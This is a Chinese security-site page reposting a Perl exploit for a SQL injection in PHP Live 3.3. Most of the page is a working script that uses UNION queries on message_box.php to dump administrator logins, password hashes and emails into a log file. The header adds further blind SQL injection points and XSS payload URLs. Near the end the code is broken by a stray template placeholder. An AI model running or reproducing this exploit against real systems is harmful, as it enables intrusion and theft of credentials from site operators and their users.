首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP Live 3.3 Remote SQL Injection Exploit
来源:S8T@hotmail.com 作者:TA4G 发布时间:2010-08-02  
#!/usr/bin/perl -w
############################################################################
#
# Exploit Title: PHP Live 3.3
# Date: 01/08/2010
# Author: TA4G - S8T@hotmail.com
# Vendor: phplivesupport.com
# Version: 3.3
# Google dork : n/a
# Platform / Tested on:  windows 7
# Category: webapps/0day
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#  L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#                                          Gr33tz to ### ArHack.NeT ###
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Usage: exploit.pl <page> <path> <valid user>
# Example: perl exploit.pl http://site.com phplive TA4G
#
# path and username are optional. You can set them to 'no' if you dont
# know any information, or remove this parameters like:
#
# perl exploit.pl http://site.com no adalbert
# perl exploit.pl http://site.com
# perl exploit.pl http://site.com no no
#
###########################################################################
#
# Other bugs in:
# /phplive/admin/index.php?sid=[sid]&deptid=1+[SQL BLIND INJECTION]
# /phplive/request.php?l=admin&x=1+[SQL BLIND INJECTION]
#
# /phplive/admin/index.php?sid=1[sid]&deptid=&search_string="><Script>alert(1)</Script>
# /phplive/message_box.php?theme=&l=admin&x=1&deptid=1"><Script>alert(1)</Script>
#
###########################################################################
#
# Demonstration:
#
# perl exploit.pl http://site.com phplive no
# ...
# >-------Exploit Intro-------<
# -----------------------------
# Logging:
# -----------------------------
#[*] Vulnerable: Yes
#[*] Injecting: Done
#[*] -----------
#[*] Userdata:
#
# bla:hashashashashash:S8T@hotmail.com
# admin:hashashashasha:admin@TA4G.com
#
#[*] Writing logfile
#[*] Exit
#
#
############################################################################
# Setting crappy vars

    use LWP::Simple;
    
    $link = shift or die("\n\nRead the fuckn manual\n\n");
    $path = shift or $path = '/phplive';
    $user = shift or $user = 'admin';    
    $link = 'http://'.$link if($link !~ /^http:\/\//);    
    $add = '/message_box.php?theme=&l='.$user.'&x=1&deptid=-1';
    ($pw,$count) = (0x37635345,0);

#*********** Baby protection ************#
    

  print "Please insert anti-baby-code:";
    $baby = <STDIN>;
    die "\n\nwait a few years please...\n\n" if ($pw != $baby);
    
    intro();
    print "\nLOGGING:\n----------------------------------------\n";
    
#*********** Vulnerable-Check ************#

    $resp = get($link.'/'.$path.$add.'+union+(select+1'.',1'x14 .',777777777,1,1)-- -');
    ($resp =~ m/<p>777777777<\/p>/i) ? print "[*] Vulnerable: Yes\n[*] Injecting: Done\n[*] --------------\n" : die("[*] Vulnerable: No\n[*] Exit\n");

#*********** Injecting Nanobots ***********#

    print "[*] Userdata: \n\n";
    $infostring = 'concat_ws(0x3a,777777,version(),login,password,email)';
    while(1) {
        $resp = get($link."/".$path.$add."+union+(select+1".",1"x14 .",".$infostring.",0,0+from+chat_admin+limit+".$count.",1)-- -");
        $resp =~ m/777777:(.*)<\/p>/i or last;
        @temp = split(":",$1);
        push(@data,($temp[1].":".$temp[2].":".$temp[3]));
        print $temp[1].":".$temp[2].":".$temp[3]."\n";
        $count++;
    }
    
#*********** Write2file *****************#

    $text = "[TA4G] [PHP Live 3.3] SQL Injection Exploit:\n\n[*] Link: ".$link."/".$path.$add."\n".
            "[*] mySQL Version: ".substr($temp[0],0,3)."\n[*] Userdata: \n";
            
    open(LULZ,">>log.txt");
    print LULZ $text;
    foreach(@data) {print LULZ 
___FCKpd___0
."\n";} close LULZ; print "\n[*] Writing Logfile\n[*] Exit\n\n\n"; #************ Leet intro **************# sub intro { print q { --------------------------------------- *************************************** * * [PHP Live 3.3] SQL Injection Exploit * written by TA4G * ----------- * Usage: exploit.pl <url> <path> <user> * * path and user are optional * *************************************** --------------------------------------- }; }

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Area Galid (galid) SQL Injecti
·Payment Processor Script (faq.
·BosDev BosClassifieds (cat_id)
·Personal FTP Server 5.52f Expl
·Cube Cart 3.0.19 FCKeditor Rem
·eSmart-Vision Trading (g_detai
·ChordPulse 1.4 Denial of Servi
·Windows live msn (V 2009 build
·Microsoft Soap SDK (V 1.02.814
·Xerver 4.32 Source Disclosure
·Windows Script.Shell.1 0day su
·Jaangle 0.98e.971 Denial of Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved